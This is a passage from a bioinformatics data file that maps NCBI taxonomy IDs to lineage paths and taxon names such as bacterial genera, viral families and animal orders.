'2759', '131567', '1'], '245186': ['245186', '31989', '204455', '28211', '1224', '2', '131567', '1'], '182709': ['182709', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '117747': ['117747', '976', '68336', '1783270', '2', '131567', '1'], '117743': ['117743', '976', '68336', '1783270', '2', '131567', '1'], '10841': ['10841', '29258', '10239', '1'], '76831': ['76831', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '651137': ['651137', '1783275', '2157', '131567', '1'], '5796': ['5796', '1280412', '5794', '33630', '2759', '131567', '1'], '5794': ['5794', '33630', '2759', '131567', '1'], '414999': ['414999', '74201', '1783257', '2', '131567', '1'], '629295': ['629295', '1883', '2062', '85011', '1760', '201174', '1783272', '2', '131567', '1'], '40117': ['40117', '2', '131567', '1'], '84406': ['84406', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '32199': ['32199', '1903409', '91347', '1236', '1224', '2', '131567', '1'], '551': ['551', '1903409', '91347', '1236', '1224', '2', '131567', '1'], '91061': ['91061', '1239', '1783272', '2', '131567', '1'], '267894': ['267894', '135622', '1236', '1224', '2', '131567', '1'], '237': ['237', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '267890': ['267890', '135622', '1236', '1224', '2', '131567', '1'], '267893': ['267893', '135622', '1236', '1224', '2', '131567', '1'], '29258': ['29258', '10239', '1'], '1': ['1'], '136849': ['136849', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '136841': ['136841', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '548681': ['548681', '35237', '10239', '1'], '83612': ['83612', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '136845': ['136845', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '136846': ['136846', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '613': ['613', '1903411', '91347', '1236', '1224', '2', '131567', '1'], '9443': ['9443', '314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '33554': ['33554', '314145', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '34383': ['1593277', '33183', '451871', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '34384': ['34384', '33183', '451871', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '204441': ['204441', '28211', '1224', '2', '131567', '1'], '45401': ['45401', '356', '28211', '1224', '2', '131567', '1'], '289201': ['289201', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '45404': ['45404', '356', '28211', '1224', '2', '131567', '1'], '572511': ['572511', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '547': ['547', '543', '91347', '1236', '1224', '2', '131567', '1'], '129337': ['129337', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '1305': ['1305', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '1307': ['1307', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '84998': ['84998', '201174', '1783272', '2', '131567', '1'], '84995': ['84995', '201174', '1783272', '2', '131567', '1'], '84992': ['84992', '201174', '1783272', '2', '131567', '1'], '10699': ['10699', '28883', '35237', '10239', '1'], '314294': ['314294', '9526', '314293', '376913', '9443', '314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '82115': ['82115', '356', '28211', '1224', '2', '131567', '1'], '82117': ['82117', '28211', '1224', '2', '131567', '1'], '91561': ['91561', '314145', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '50557': ['50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '119045': ['119045', '356', '28211', '1224', '2', '131567', '1'], '119043': ['119043', '356', '28211', '1224', '2', '131567', '1'], '29': ['29', '28221', '68525', '1224', '2', '131567', '1'], '85019': ['85019', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85018': ['85018', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '2157': ['2157', '131567', '1'], '10662': ['10662', '28883', '35237', '10239', '1'], '28216': ['28216', '1224', '2', '131567', '1'], '85010': ['85010', '1760', '201174', '1783272', '2', '131567', '1'], '85013': ['85013', '1760', '201174', '1783272', '2', '131567', '1'], '10744': ['10744', '28883', '35237', '10239', '1'], '85014': ['85014', '1760', '201174', '1783272', '2', '131567', '1'], '85017': ['85017', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85016': ['85016', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '33090': ['33090', '2759', '131567', '1'], '52959': ['52959', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '713636': ['713636', '28216', '1224', '2', '131567', '1'], '31993': ['31993', '356', '28211', '1224', '2', '131567', '1'], '136843': ['136843', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '71274': ['71274', '1437201', '91827', '71240', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '1060': ['1060', '31989', '204455', '28211', '1224', '2', '131567', '1'], '92860': ['92860', '451868', '147541', '715962', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '1028384': ['1028384', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '256005': ['256005', '135622', '1236', '1224', '2', '131567', '1'], '10239': ['10239', '1'], '290174': ['290174', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '82986': ['82986', '1903409', '91347', '1236', '1224', '2', '131567', '1'], '93682': ['93682', '31989', '204455', '28211', '1224', '2', '131567', '1'], '1653': ['1653', '85007', '1760', '201174', '1783272', '2', '131567', '1'], '586': ['586', '1903414', '91347', '1236', '1224', '2', '131567', '1'], '135619': ['135619', '1236', '1224', '2', '131567', '1'], '583': ['583', '1903414', '91347', '1236', '1224', '2', '131567', '1'], '976': ['976', '68336', '1783270', '2', '131567', '1'], '423358': ['423358', '35237', '10239', '1'], '135613': ['135613', '1236', '1224', '2', '131567', '1'], '186928': ['186928', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '2836': ['2836', '33634', '2759', '131567', '1'], '308865': ['308865', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '28221': ['28221', '68525', '1224', '2', '131567', '1'], '33867': ['33867', '28890', '2157', '131567', '1'], '32003': ['32003', '28216', '1224', '2', '131567', '1'], '7148': ['7148', '7147', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '68892': ['68892', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '7147': ['7147', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '228398': ['228398', '2062', '85011', '1760', '201174', '1783272', '2', '131567', '1'], '1224': ['1224', '2', '131567', '1'], '590': ['590', '543', '91347', '1236', '1224', '2', '131567', '1'], '629': ['629', '1903411', '91347', '1236', '1224', '2', '131567', '1'], '10656': ['10656', '35237', '10239', '1'], '314146': ['314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '33208': ['33208', '33154', '2759', '131567', '1'], '7711': ['7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '3699': ['3699', '91836', '71275', '1437201', '91827', '71240', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '11157': ['11157', '35301', '439488', '10239', '1'], '302485': ['302485', '31989', '204455', '28211', '1224', '2', '131567', '1'], '206350': ['32003', '28216', '1224', '2', '131567', '1'], '206351': ['206351', '28216', '1224', '2', '131567', '1'], '2': ['2', '131567', '1'], '422676': ['422676', '5794', '33630', '2759', '131567', '1'], '41294': ['41294', '356', '28211', '1224', '2', '131567', '1'], '10404': ['10404', '35268', '10239', '1'], '58840': ['58840', '31989', '204455', '28211', '1224', '2', '131567', '1'], '539002': ['539002', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '167375': ['167375', '1890426', '1890424', '1117', '1798711', '1783272', '2', '131567', '1'], '118884': ['118884', '1236', '1224', '2', '131567', '1'], '213481': ['213481', '1553900', '1224', '2', '131567', '1'], '7214': ['7214', '43746', '43741', '43738', '480117', '480118', '43733', '7203', '7147', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '118882': ['118882', '356', '28211', '1224', '2', '131567', '1'], '200783': ['200783', '2', '131567', '1'], '28890': ['28890', '2157', '131567', '1'], '2759': ['2759', '131567', '1'], '33342': ['33342', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '10474': ['10474', '35237', '10239', '1'], '10477': ['10477', '1511857', '35237', '10239', '1'], '68295': ['68295', '186801', '1239', '1783272', '2', '131567', '1'], '200918': ['200918', '2', '131567', '1'], '622450': ['622450', '1760', '201174', '1783272', '2', '131567', '1'], '558415': ['558415', '1970189', '200643', '976', '68336', '1783270', '2', '131567', '1'], '464095': ['464095', '35278', '439488', '10239', '1'], '201174': ['201174', '1783272', '2', '131567', '1'], '526524': ['526524', '1239', '1783272', '2', '131567', '1'], '155619': ['155619', '5302', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '452284': ['452284', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '186801': ['186801', '1239', '1783272', '2', '131567', '1'], '186807': ['186807', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '186806': ['186806', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '772': ['772', '356', '28211', '1224', '2', '131567', '1'], '267889': ['267889', '135622', '1236', '1224', '2', '131567', '1'], '267888': ['267888', '135622', '1236', '1224', '2', '131567', '1'], '909932': ['909932', '1239', '1783272', '2', '131567', '1'], '157897': ['157897', '1511857', '35237', '10239', '1'], '1762': ['1762', '85007', '1760', '201174', '1783272', '2', '131567', '1'], '1142': ['1142', '1890428', '1890424', '1117', '1798711', '1783272', '2', '131567', '1'], '311790': ['311790', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '34008': ['34008', '31989', '204455', '28211', '1224', '2', '131567', '1'], '1268': ['1268', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '191675': ['191675', '543', '91347', '1236', '1224', '2', '131567', '1'], '74385': ['74385', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '8782': ['8782', '436492', '436491', '436489', '436486', '8492', '1329799', '32561', '8457', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '34397': ['34397', '5125', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '32061': ['32061', '200795', '1783272', '2', '131567', '1'], '60136': ['60136', '31989', '204455', '28211', '1224', '2', '131567', '1'], '1303': ['1303', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '69657': ['69657', '204455', '28211', '1224', '2', '131567', '1'], '178469': ['178469', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '544': ['544', '543', '91347', '1236', '1224', '2', '131567', '1'], '216572': ['216572', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '554915': ['554915', '2759', '131567', '1'], '39782': ['39782', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '1313': ['1313', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '671232': ['671232', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '5148': ['5148', '5139', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '10': ['10', '1706371', '1706369', '1236', '1224', '2', '131567', '1'], '7399': ['7399', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '189775': ['189775', '200795', '1783272', '2', '131567', '1'], '204037': ['204037', '1903410', '91347', '1236', '1224', '2', '131567', '1'], '9989': ['9989', '314147', '314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '118969': ['118969', '1236', '1224', '2', '131567', '1'], '206389': ['206389', '28216', '1224', '2', '131567', '1'], '85008': ['85008', '1760', '201174', '1783272', '2', '131567', '1'], '85009': ['85009', '1760', '201174', '1783272', '2', '131567', '1'], '1386': ['1386', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '2063': ['2063', '2062', '85011', '1760', '201174', '1783272', '2', '131567', '1'], '85004': ['85004', '1760', '201174', '1783272', '2', '131567', '1'], '85005': ['2037', '1760', '201174', '1783272', '2', '131567', '1'], '61432': ['61432', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '200643': ['200643', '976', '68336', '1783270', '2', '131567', '1'], '830': ['830', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '995019': ['995019', '80840', '28216', '1224', '2', '131567', '1'], '35325': ['35325', '10239', '1'], '33154': ['33154', '2759', '131567', '1'], '439488': ['439488', '10239', '1'], '768503': ['768503', '976', '68336', '1783270', '2', '131567', '1'], '183939': ['183939', '28890', '2157', '131567', '1'], '1239': ['1239', '1783272', '2', '131567', '1'], '74030': ['74030', '31989', '204455', '28211', '1224', '2', '131567', '1'], '53433': ['53433', '186801', '1239', '1783272', '2', '131567', '1'], '9397': ['9397', '314145', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '69277': ['69277', '356', '28211', '1224', '2', '131567', '1'], '4751': ['4751', '33154', '2759', '131567', '1'], '200940': ['200940', '2', '131567', '1'], '104264': ['104264', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '10860': ['10860', '29258', '10239', '1'], '119089': ['119089', '6231', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '301297': ['301297', '200795', '1783272', '2', '131567', '1'], '252356': ['252356', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '90964': ['90964', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '326457': ['326457', '74201', '1783257', '2', '131567', '1'], '29547': ['29547', '68525', '1224', '2', '131567', '1'], '147550': ['147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '255475': ['255475', '356', '28211', '1224', '2', '131567', '1'], '506': ['506', '80840', '28216', '1224', '2', '131567', '1'], '1212': ['1213', '1890424', '1117', '1798711', '1783272', '2', '131567', '1'], '31979': ['31979', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '468': ['468', '72274', '1236', '1224', '2', '131567', '1'], '46205': ['46205', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '191028': ['191028', '31989', '204455', '28211', '1224', '2', '131567', '1'], '4447': ['4447', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '1164882': ['1164882', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '5653': ['5653', '33682', '2759', '131567', '1'], '544448': ['544448', '1783272', '2', '131567', '1'], '85012': ['85012', '1760', '201174', '1783272', '2', '131567', '1'], '326319': ['326319', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '81850': ['81850', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '81852': ['81852', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '28211': ['28211', '1224', '2', '131567', '1'], '11632': ['11632', '35268', '10239', '1'], '33183': ['33183', '451871', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '68298': ['68298', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '119065': ['119065', '80840', '28216', '1224', '2', '131567', '1'], '119066': ['119066', '28216', '1224', '2', '131567', '1'], '119060': ['119060', '80840', '28216', '1224', '2', '131567', '1'], '203494': ['203494', '74201', '1783257', '2', '131567', '1'], '119069': ['119069', '2008785', '1224', '2', '131567', '1'], '110618': ['110618', '5125', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '59732': ['59732', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '142182': ['142182', '1783270', '2', '131567', '1'], '150247': ['150247', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '35493': ['35493', '33090', '2759', '131567', '1'], '5204': ['5204', '451864', '4751', '33154', '2759', '131567', '1'], '5878': ['5878', '33630', '2759', '131567', '1'], '213462': ['213462', '28221', '68525', '1224', '2', '131567', '1'], '451866': ['451866', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '451867': ['451867', '147541', '715962', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '183967': ['183967', '28890', '2157', '131567', '1'], '183963': ['183963', '28890', '2157', '131567', '1'], '766': ['766', '28211', '1224', '2', '131567', '1'], '183968': ['183968', '28890', '2157', '131567', '1'], '75682': ['75682', '80840', '28216', '1224', '2', '131567', '1'], '3041': ['3041', '33090', '2759', '131567', '1'], '265975': ['265975', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '2323': ['2323', '2', '131567', '1'], '508458': ['508458', '2', '131567', '1'], '5809': ['5809', '423054', '75739', '5796', '1280412', '5794', '33630', '2759', '131567', '1'], '69541': ['69541', '28221', '68525', '1224', '2', '131567', '1'], '52018': ['52018', '1760', '201174', '1783272', '2', '131567', '1'], '1090': ['1090', '68336', '1783270', '2', '131567', '1'], '1150': ['1150', '1301283', '1117', '1798711', '1783272', '2', '131567', '1'], '265': ['265', '31989', '204455', '28211', '1224', '2', '131567', '1'], '7898': ['7898', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '68525': ['68525', '1224', '2', '131567', '1'], '72273': ['72273', '1236', '1224', '2', '131567', '1'], '203691': ['203691', '2', '131567', '1'], '72275': ['72275', '135622', '1236', '1224', '2', '131567', '1'], '4893': ['4893', '4892', '4891', '147537', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '4891': ['4891', '147537', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '4890': ['4890', '451864', '4751', '33154', '2759', '131567', '1'], '35718': ['35718', '5139', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '186804': ['186804', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '34037': ['34037', '1903411', '91347', '1236', '1224', '2', '131567', '1'], '1570339': ['1570339', '1737405', '1737404', '1239', '1783272', '2', '131567', '1'], '355688': ['355688', '155619', '5302', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '246874': ['246874', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '35268': ['35268', '10239', '1'], '91835': ['91835', '71275', '1437201', '91827', '71240', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '204432': ['204432', '57723', '2', '131567', '1'], '5129': ['5129', '5125', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '5125': ['5125', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '8459': ['8459', '1329799', '32561', '8457', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '639021': ['639021', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '363408': ['363408', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '53335': ['53335', '1903409', '91347', '1236', '1224', '2', '131567', '1'], '213118': ['213118', '28221', '68525', '1224', '2', '131567', '1'], '1506553': ['1506553', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '213115': ['213115', '28221', '68525', '1224', '2', '131567', '1'], '213113': ['213113', '28221', '68525', '1224', '2', '131567', '1'], '9263': ['9263', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '80864': ['80864', '80840', '28216', '1224', '2', '131567', '1'], '183925': ['183925', '28890', '2157', '131567', '1'], '5338': ['5338', '452333', '155619', '5302', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '135618': ['135618', '1236', '1224', '2', '131567', '1'], '283735': ['283735', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '5234': ['5234', '155616', '5302', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '5151': ['5151', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '5863': ['5863', '422676', '5794', '33630', '2759', '131567', '1'], '561': ['561', '543', '91347', '1236', '1224', '2', '131567', '1'], '189330': ['189330', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '186828': ['186828', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '186821': ['186821', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '186820': ['186820', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '186823': ['186823', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '186822': ['186822', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '32066': ['32066', '2', '131567', '1'], '186824': ['186824', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '186827': ['186827', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '29000': ['29000', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '1189': ['1189', '1161', '1117', '1798711', '1783272', '2', '131567', '1'], '7088': ['7088', '85604', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '122277': ['122277', '1903410', '91347', '1236', '1224', '2', '131567', '1'], '147541': ['147541', '715962', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '147545': ['147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '147548': ['147548', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '97050': ['97050', '31989', '204455', '28211', '1224', '2', '131567', '1'], '1283313': ['1283313', '171552', '171549', '200643', '976', '68336', '1783270', '2', '131567', '1'], '1161': ['1161', '1117', '1798711', '1783272', '2', '131567', '1'], '2433': ['2433', '31989', '204455', '28211', '1224', '2', '131567', '1'], '171551': ['171551', '171549', '200643', '976', '68336', '1783270', '2', '131567', '1'], '171550': ['171550', '171549', '200643', '976', '68336', '1783270', '2', '131567', '1'], '335928': ['335928', '356', '28211', '1224', '2', '131567', '1'], '40674': ['40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '244698': ['244698', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '74201': ['74201', '1783257', '2', '131567', '1'], '1117': ['1117', '1798711', '1783272', '2', '131567', '1'], '1297': ['1297', '1783272', '2', '131567', '1'], '1511857': ['1511857', '35237', '10239', '1'], '9604': ['9604', '314295', '9526', '314293', '376913', '9443', '314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '1357': ['1357', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '35301': ['35301', '439488', '10239', '1'], '52604': ['52604', '1117', '1798711', '1783272', '2', '131567', '1'], '5042': ['5042', '451871', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '4776': ['4776', '4762', '33634', '2759', '131567', '1'], '204457': ['204457', '28211', '1224', '2', '131567', '1'], '538999': ['538999', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '204458': ['204458', '28211', '1224', '2', '131567', '1'], '7742': ['7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '6236': ['6236', '119089', '6231', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '6231': ['6231', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1']} LEVEL_NAMES={'35237': 'dsDNA viruses, no RNA stage', '358033': 'Chryseobacterium', '11989': 'Leviviridae', '200930': 'Deferribacteres', '119603': 'Streptococcus dysgalactiae group', '76804': 'Nidovirales', '451870': 'Chaetothyriomycetidae', '186818': 'Planococcaceae', '815': 'Bacteroidaceae', '204428': 'Chlamydiae', '285107': 'Thioclava', '145357': 'Dermacoccaceae', '6656': 'Arthropoda', '57723': 'Acidobacteria', '1129': 'Synechococcus', '675063': 'Tymovirales', '135625': 'Pasteurellales', '135624': 'Aeromonadales', '135623': 'Vibrionales', '43988': 'Cyanothece', '766764': 'Debaryomycetaceae', '33958': 'Lactobacillaceae', '28037': 'Streptococcus mitis', '5819': 'Haemosporida', '183980': 'Archaeoglobi', '1016': 'Capnocytophaga', '203682': 'Planctomycetes', '1236': 'Gammaproteobacteria', '135614': 'Xanthomonadales', '200795': 'Chloroflexi', '38820': 'Poales', '85020': 'Dermabacteraceae', '85021': 'Intrasporangiaceae', '85023': 'Microbacteriaceae', '85025': 'Nocardiaceae', '85026': 'Gordoniaceae', '224756': 'Methanomicrobia', '45667': 'Halobacillus', '35278': 'ssRNA positive-strand viruses, no DNA stage', '121069': 'Pythiales', '400634': 'Lysinibacillus', '5139': 'Sordariales', '112252': 'Fungi incertae sedis', '186813': 'unclassified Clostridiales', '1100069': 'Bacteroidetes Order II. Incertae sedis', '28889': 'Crenarchaeota', '28883': 'Caudovirales', '225057': 'Acidithiobacillales', '252301': 'Oceanicola', '541000': 'Ruminococcaceae', '33213': 'Bilateria', '245186': 'Loktanella', '182709': 'Oceanobacillus', '117747': 'Sphingobacteriia', '117743': 'Flavobacteriia', '10841': 'Microviridae', '76831': 'Myroides', '651137': 'Thaumarchaeota', '5796': 'Coccidia', '5794': 'Apicomplexa', '414999': 'Opitutae', '629295': 'Streptomyces griseus group', '40117': 'Nitrospirae', '84406': 'Virgibacillus', '32199': 'Buchnera', '551': 'Erwinia', '91061': 'Bacilli', '267894': 'Psychromonadaceae', '237': 'Flavobacterium', '267890': 'Shewanellaceae', '267893': 'Idiomarinaceae', '29258': 'ssDNA viruses', '1': 'root', '136849': 'Pseudomonas syringae group', '136841': 'Pseudomonas aeruginosa group', '548681': 'Herpesvirales', '83612': 'Psychroflexus', '136845': 'Pseudomonas putida group', '136846': 'Pseudomonas stutzeri group', '613': 'Serratia', '9443': 'Primates', '33554': 'Carnivora', '34383': 'Onygenales incertae sedis', '34384': 'Arthrodermataceae', '204441': 'Rhodospirillales', '45401': 'Hyphomicrobiaceae', '289201': 'Pontibacillus', '45404': 'Beijerinckiaceae', '572511': 'Blautia', '547': 'Enterobacter', '129337': 'Geobacillus', '1305': 'Streptococcus sanguinis', '1307': 'Streptococcus suis', '84998': 'Coriobacteriia', '84995': 'Rubrobacteria', '84992': 'Acidimicrobiia', '10699': 'Siphoviridae', '314294': 'Cercopithecoidea', '82115': 'Rhizobiaceae', '82117': 'unclassified Alphaproteobacteria', '91561': 'Cetartiodactyla', '50557': 'Insecta', '119045': 'Methylobacteriaceae', '119043': 'Rhodobiaceae', '29': 'Myxococcales', '85019': 'Brevibacteriaceae', '85018': 'Dermatophilaceae', '2157': 'Archaea', '10662': 'Myoviridae', '28216': 'Betaproteobacteria', '85010': 'Pseudonocardiales', '85013': 'Frankiales', '10744': 'Podoviridae', '85014': 'Glycomycetales', '85017': 'Promicromonosporaceae', '85016': 'Cellulomonadaceae', '33090': 'Viridiplantae', '52959': 'Polaribacter', '713636': 'Nitrosomonadales', '31993': 'Methylocystaceae', '136843': 'Pseudomonas fluorescens group', '71274': 'asterids', '1060': 'Rhodobacter', '92860': 'Pleosporales', '1028384': 'Glomerellales', '256005': 'Alteromonadales genera incertae sedis', '10239': 'Viruses', '290174': 'Aquimarina', '82986': 'Tatumella', '93682': 'Roseivivax', '1653': 'Corynebacteriaceae', '586': 'Providencia', '135619': 'Oceanospirillales', '583': 'Proteus', '976': 'Bacteroidetes', '423358': 'Bicaudaviridae', '135613': 'Chromatiales', '186928': 'unclassified Lachnospiraceae', '2836': 'Bacillariophyta', '308865': 'Elizabethkingia', '28221': 'Deltaproteobacteria', '33867': 'unclassified Euryarchaeota', '32003': 'Nitrosomonadales', '7148': 'Nematocera', '68892': 'Streptococcus infantis', '7147': 'Diptera', '228398': 'Streptacidiphilus', '1224': 'Proteobacteria', '590': 'Salmonella', '629': 'Yersinia', '10656': 'Tectiviridae', 